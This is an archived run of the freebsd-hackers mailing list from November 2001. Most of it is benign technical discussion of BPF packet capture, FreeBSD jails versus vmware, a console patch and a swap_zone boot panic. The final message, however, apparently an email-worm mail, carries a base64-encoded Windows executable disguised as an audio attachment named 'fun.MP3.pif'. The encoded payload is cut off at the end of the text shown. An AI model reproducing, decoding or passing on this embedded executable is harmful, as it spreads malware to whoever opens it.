freebsd-hackers@freebsd.org Received: from gvr.gvr.org (gvr.gvr.org [212.61.40.17]) by hub.freebsd.org (Postfix) with ESMTP id 34E6337B416; Mon, 26 Nov 2001 12:44:24 -0800 (PST) Received: by gvr.gvr.org (Postfix, from userid 657) id 5B8815809; Mon, 26 Nov 2001 21:44:14 +0100 (CET) Date: Mon, 26 Nov 2001 21:44:14 +0100 From: Guido van Rooij To: John Baldwin Cc: freebsd-hackers@freebsd.org Subject: Re: review: single step thoruggh the probe messages Message-ID: <20011126214414.A13502@gvr.gvr.org> References: <20011126212545.A13597@gvr.gvr.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: ; from jhb@FreeBSD.org on Mon, Nov 26, 2001 at 12:36:01PM -0800 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Mon, Nov 26, 2001 at 12:36:01PM -0800, John Baldwin wrote: > > I would call the variable name 'console_pausing' or some such, rather than > cninit_notyetfinished to better explain what the variable does. > Ok, I also need to get rid of printf and directly write as to not interfere with dmesg output. -Guido To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Nov 26 12:58:32 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from resnet.uoregon.edu (resnet.uoregon.edu [128.223.122.47]) by hub.freebsd.org (Postfix) with ESMTP id 9354137B405 for ; Mon, 26 Nov 2001 12:58:30 -0800 (PST) Received: from localhost (dwhite@localhost) by resnet.uoregon.edu (8.11.3/8.10.1) with ESMTP id fAQKwl963590; Mon, 26 Nov 2001 12:58:47 -0800 (PST) Date: Mon, 26 Nov 2001 12:58:47 -0800 (PST) From: Doug White To: Rajesh P Jain Cc: Subject: Re: BPF - Packet Reception In-Reply-To: Message-ID: X-All-Your-Base: are belong to us MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Mon, 26 Nov 2001, Rajesh P Jain wrote: > We are trying to use BPF (Packet Filter) pseduo device to send and > receive the packets. > Even if there is a slight delay (Some processing has to be done on > the read packet) between the issuing of 'read' call, so many packets are > getting dropped. BPF isn't a high-performance interface. If you need something faster, you should add your code to the kernel network stack. Then you will get a call to your code for every packet input of the type you're looking for. Doug White | FreeBSD: The Power to Serve dwhite@resnet.uoregon.edu | www.FreeBSD.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Nov 26 13:11:45 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from hotmail.com (f183.law11.hotmail.com [64.4.17.183]) by hub.freebsd.org (Postfix) with ESMTP id 3E4AE37B41A for ; Mon, 26 Nov 2001 13:11:43 -0800 (PST) Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Mon, 26 Nov 2001 13:11:43 -0800 Received: from 132.194.16.89 by lw11fd.law11.hotmail.msn.com with HTTP; Mon, 26 Nov 2001 21:11:42 GMT X-Originating-IP: [132.194.16.89] From: "Joesh Juphland" To: hackers@freebsd.org Subject: compare and contrast vmware and jail ? Date: Mon, 26 Nov 2001 14:11:42 -0700 Mime-Version: 1.0 Content-Type: text/plain; format=flowed Message-ID: X-OriginalArrivalTime: 26 Nov 2001 21:11:43.0086 (UTC) FILETIME=[F2B470E0:01C176BE] Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG I am going to be setting up four freeBSD servers as a test environment - they need to be totally isolated machines. However, I would like to see if I can do all of this on one server. The choice that comes to mind immediately is vmware, but since I am required to use all freeBSD, I would be using vmware via linux compatibility mode, which is somewhat slower than native vmware on linux. I have two specific questions: 1. Is jail ready for prime time ? that is, taking into account stability, performance, and _security_, would you feel comfortable running multiple servers on a single machine where the relative contents of the machines were sensitive (in terms of performance and security) ? 2. Any comments on the differences between using vmware and jail ? Why would I choose vmware over jail ? Does jail offer the same memory usage guarantees, etc. ? Any thoughts / comments on vmware vs. jail, and the viability of using jail on a multi-system system are appreciated. --joesh _________________________________________________________________ Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Nov 26 13:40: 9 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from thalia.fm.intel.com (fmfdns02.fm.intel.com [132.233.247.11]) by hub.freebsd.org (Postfix) with ESMTP id 03C9037B416 for ; Mon, 26 Nov 2001 13:39:59 -0800 (PST) Received: from fmsmsxvs042.fm.intel.com (fmsmsxv042-1.fm.intel.com [132.233.48.110]) by thalia.fm.intel.com (8.9.1a+p1/8.9.1/d: relay.m4,v 1.46 2001/10/25 21:02:55 root Exp $) with SMTP id VAA16259 for ; Mon, 26 Nov 2001 21:39:58 GMT Received: from fmsmsx26.fm.intel.com ([132.233.42.26]) by fmsmsxvs042.fm.intel.com (NAVGW 2.5.1.6) with SMTP id M2001112613405508447 for ; Mon, 26 Nov 2001 13:40:55 -0800 Received: by fmsmsx26.fm.intel.com with Internet Mail Service (5.5.2653.19) id ; Mon, 26 Nov 2001 13:39:58 -0800 Message-ID: From: "Frost, Stephen C" To: "'freebsd-hackers@freebsd.org'" Subject: Solution for "panic: swap_pager_swap_init: swap_zone == NULL"? Date: Mon, 26 Nov 2001 13:39:51 -0800 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Greetings FreeBSD gurus - I am brand new to the OS. I test NIC drivers for Intel products and we are turning towards an emphasized support for FreeBSD. One of my test boxes produces the following error on bootup: "panic: swap_pager_swap_init: swap_zone == NULL" A quick Google search suggests that this is an issue of the kernel failing to deal with an abundance of RAM. The test box in question has 8GB of RAM. Pulling RAM out as a 'workaround' is not an option, as I am to test on these specifically configured OEM machines. This one is a Dell 6400 quad Zeon 550. Suggestions? Patches? Anything? Please reply via direct email. Much gratitude - -=C. Stephen Frost=- Intel Corp. ICG - Network Quality Labs Software QA Engineer 503.264.8300 (standard disclaimers apply within... ) -=C. Stephen Frost=- Intel Corp. ICG - Network Quality Labs Software QA Engineer 503.264.8300 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Nov 26 14: 0:18 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from InterJet.elischer.org (c421509-a.pinol1.sfba.home.com [24.7.86.9]) by hub.freebsd.org (Postfix) with ESMTP id 81CBB37B41A for ; Mon, 26 Nov 2001 14:00:14 -0800 (PST) Received: from localhost (localhost.elischer.org [127.0.0.1]) by InterJet.elischer.org (8.9.1a/8.9.1) with ESMTP id NAA05247; Mon, 26 Nov 2001 13:43:11 -0800 (PST) Date: Mon, 26 Nov 2001 13:43:10 -0800 (PST) From: Julian Elischer To: Rajesh P Jain Cc: freebsd-hackers@freebsd.org Subject: Re: BPF - Packet Reception In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG If it's an ethernet type device then you can attach to it via netgraph and either write a small netgraph node to do what you want or redirect the packets to a userland daemon that does what you want. On Mon, 26 Nov 2001, Rajesh P Jain wrote: > Hello, > We are trying to use BPF (Packet Filter) pseduo device to send and > receive the packets. > Even if there is a slight delay (Some processing has to be done on > the read packet) between the issuing of 'read' call, so many packets are > getting dropped. > Is there a way to attach a callback function to the opened device, so > that on a packet arrival, this function is being called. > We polling the device is always risky thing as we may loose some > packet. > Any help on this would be very much appreciated. > Thanks and regards, > -Raj > > > Join 18 million Eudora users by signing up for a free Eudora Web-Mail account at http://www.eudoramail.com > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-hackers" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Nov 26 14: 5:52 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from fledge.watson.org (fledge.watson.org [204.156.12.50]) by hub.freebsd.org (Postfix) with ESMTP id 9B1C837B416 for ; Mon, 26 Nov 2001 14:05:47 -0800 (PST) Received: from fledge.watson.org (robert@fledge.pr.watson.org [192.0.2.3]) by fledge.watson.org (8.11.6/8.11.5) with SMTP id fAQM5Yi99425; Mon, 26 Nov 2001 17:05:34 -0500 (EST) (envelope-from robert@fledge.watson.org) Date: Mon, 26 Nov 2001 17:05:33 -0500 (EST) From: Robert Watson X-Sender: robert@fledge.watson.org To: Rajesh P Jain Cc: freebsd-hackers@freebsd.org Subject: Re: BPF - Packet Reception In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Mon, 26 Nov 2001, Rajesh P Jain wrote: > We are trying to use BPF (Packet Filter) pseduo device to send > and receive the packets. > Even if there is a slight delay (Some processing has to be done > on the read packet) between the issuing of 'read' call, so many packets > are getting dropped. > Is there a way to attach a callback function to the opened device, > so that on a packet arrival, this function is being called. > We polling the device is always risky thing as we may loose some > packet. > Any help on this would be very much appreciated. Thanks and > regards, -Raj There are a number of things that can be done to improve BPF's behavior under high volume, including setting a larger in-kernel buffer for BPF (using BIOCSBLEN), as well as implementing the equivilent of interupt coallescing when delivering packets to userland, through the use of a timeout (BIOCSRTIMEOUT, BIOCIMMEDIATE), which can increase throughput. While BPF is not able to handle extremely high packet rates, due to it performing memory copies and simple virtual machine execution, I've quite successfully used it to do userland packet forwarding (read, process, send) in the 100mbps range on moderately equipped machines. Depending on the nature of the packets you're capturing, optimizing your BPF code, or feeding it code that matches more specifically, can also impact performance. The performance of BPF is often directly associated with the amount of userland context switching going on: for example, running my BPF-based packet forwarding program at the same time as tcpdump would easily halve the throughput by making the number of context switches proportional to the number of packets delivered. A single process performing BPF operations will perform *much* better on an unloaded machine. Robert N M Watson FreeBSD Core Team, TrustedBSD Project robert@fledge.watson.org NAI Labs, Safeport Network Services To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Nov 26 14:40:14 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from InterJet.elischer.org (c421509-a.pinol1.sfba.home.com [24.7.86.9]) by hub.freebsd.org (Postfix) with ESMTP id E842537B405 for ; Mon, 26 Nov 2001 14:40:09 -0800 (PST) Received: from localhost (localhost.elischer.org [127.0.0.1]) by InterJet.elischer.org (8.9.1a/8.9.1) with ESMTP id OAA05384; Mon, 26 Nov 2001 14:28:20 -0800 (PST) Date: Mon, 26 Nov 2001 14:28:19 -0800 (PST) From: Julian Elischer To: "Frost, Stephen C" Cc: "'freebsd-hackers@freebsd.org'" Subject: Re: Solution for "panic: swap_pager_swap_init: swap_zone == NULL"? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Mon, 26 Nov 2001, Frost, Stephen C wrote: > > Greetings FreeBSD gurus - > > I am brand new to the OS. I test NIC drivers for Intel products and we are > turning towards an emphasized support for FreeBSD. One of my test boxes > produces the following error on bootup: "panic: swap_pager_swap_init: > swap_zone == NULL" > > A quick Google search suggests that this is an issue of the kernel failing > to deal with an abundance of RAM. The test box in question has 8GB of RAM. > Pulling RAM out as a 'workaround' is not an option, as I am to test on these > specifically configured OEM machines. This one is a Dell 6400 quad Zeon > 550. You don't say which version of FreeBSD you are testing on.... I presume 4.4? > > Suggestions? Patches? Anything? > > Please reply via direct email. > > Much gratitude - > > -=C. Stephen Frost=- > Intel Corp. > ICG - Network Quality Labs > Software QA Engineer > 503.264.8300 > (standard disclaimers apply within... ) > > > -=C. Stephen Frost=- > Intel Corp. > ICG - Network Quality Labs > Software QA Engineer > 503.264.8300 > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-hackers" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Nov 26 14:52: 4 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from aaz.links.ru (aaz.links.ru [193.125.152.37]) by hub.freebsd.org (Postfix) with ESMTP id D00B737B419 for ; Mon, 26 Nov 2001 14:52:00 -0800 (PST) Received: (from babolo@localhost) by aaz.links.ru (8.9.3/8.9.3) id BAA06510; Tue, 27 Nov 2001 01:58:25 +0300 (MSK) Message-Id: <200111262258.BAA06510@aaz.links.ru> Subject: Re: compare and contrast vmware and jail ? In-Reply-To: from "Joesh Juphland" at "Nov 26, 1 02:11:42 pm" To: part_lion@hotmail.com (Joesh Juphland) Date: Tue, 27 Nov 2001 01:58:25 +0300 (MSK) Cc: hackers@FreeBSD.ORG From: "."@babolo.ru MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Joesh Juphland writes: > I am going to be setting up four freeBSD servers as a test environment - > they need to be totally isolated machines. However, I would like to see if > I can do all of this on one server. The choice that comes to mind > immediately is vmware, but since I am required to use all freeBSD, I would > be using vmware via linux compatibility mode, which is somewhat slower than > native vmware on linux. Linux compatibility mode is not perfomanse loose, I have seen reports where linux binaries run faster on FreeBSD compatibility mode then linux with the same hardware. I am using jail intensively on about 10 of my servers, for example: 0grimble~(2)>ps -ax | grep J | wc 101 627 5024 but I do not use vmware and know why. > I have two specific questions: > > 1. Is jail ready for prime time ? that is, taking into account stability, > performance, and _security_, would you feel comfortable running multiple > servers on a single machine where the relative contents of the machines were > sensitive (in terms of performance and security) ? performance: OK stability: OK after tuning security: not ideal, but best I know of. > 2. Any comments on the differences between using vmware and jail ? Why > would I choose vmware over jail ? Does jail offer the same memory usage > guarantees, etc. ? vmware has perfomanse loose no matter what host OS is. The reason is that some CPU comands are emulated, each vmware has its own copy of running OS and resourse management in this case in highly not optimal. But you can use different OSes simultaneosly. Jail share the same kernel and resourses beetween processes as if without jail. You can't start some service in vmware without full enough set of software in it. For example, it is almoust impossible to start some servise in vmware when not having shell it it. Jailed service can be started having the only executable in it (static linked). I usually copy minimal set from base system to jail and this set does not include any shell. This way I have rescued from vulnerability to stack overflow in some version of bind - I had some servers with this hole and none of attempt to execute /bin/sh using stack oferflow is successful. Starting up such a daemon in vmware do not rescue server from hacks via secure holes. > Any thoughts / comments on vmware vs. jail, and the viability of using > jail on a multi-system system are appreciated. In short: vmware is not a way to start any service if that service can execute on host system. PS Sorry, my English is bad enough. -- @BABOLO http://links.ru/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Nov 26 15: 4:13 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from pintail.mail.pas.earthlink.net (pintail.mail.pas.earthlink.net [207.217.120.122]) by hub.freebsd.org (Postfix) with ESMTP id BFA0B37B41A for ; Mon, 26 Nov 2001 15:03:52 -0800 (PST) Received: from 1cust79.tnt2.tucson.az.da.uu.net ([63.11.142.79] helo=aol.com) by pintail.mail.pas.earthlink.net with smtp (Exim 3.33 #1) id 168Umm-0000iq-00 for freebsd-hackers@FreeBSD.org; Mon, 26 Nov 2001 15:03:36 -0800 From: "Walter Doll" <_azdolls@earthlink.net> To: freebsd-hackers@FreeBSD.org Subject: Re: MIME-Version: 1.0 Content-Type: multipart/related; type="multipart/alternative"; boundary="====_ABC1234567890DEF_====" X-Priority: 3 X-MSMail-Priority: Normal X-Unsent: 1 Message-Id: Date: Mon, 26 Nov 2001 15:03:36 -0800 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG --====_ABC1234567890DEF_==== Content-Type: multipart/alternative; boundary="====_ABC0987654321DEF_====" --====_ABC0987654321DEF_==== Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable --====_ABC0987654321DEF_====-- --====_ABC1234567890DEF_==== Content-Type: audio/x-wav; name="fun.MP3.pif" Content-Transfer-Encoding: base64 Content-ID: TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAA8AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v ZGUuDQ0KJAAAAAAAAAAoxs1SbKejAWynowFsp6MBF7uvAWinowHvu60BbqejAYS4qQF2p6MBhLin AW6nowEOuLABZaejAWynogHyp6MBhLioAWCnowHUoaUBbaejAVJpY2hsp6MBAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAUEUAAEwBAwCoIP47AAAAAAAAAADgAA8BCwEGAABwAAAAEAAAANAAAEBHAQAA 4AAAAFABAAAAQAAAEAAAAAIAAAQAAAAAAAAABAAAAAAAAAAAYAEAAAQAAAAAAAACAAAAAAAQAAAQ AAAAABAAABAAAAAAAAAQAAAAAAAAAAAAAABkUAEAMAEAAABQAQBkAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADQAAAAEAAAAAAAAAAEAAAA AAAAAAAAAAAAAACAAADgAAAAAAAAAAAAcAAAAOAAAABqAAAABAAAAAAAAAAAAAAAAAAAQAAA4C5y c3JjAAAAABAAAABQAQAAAgAAAG4AAAAAAAAAAAAAAAAAAEAAAMAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 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 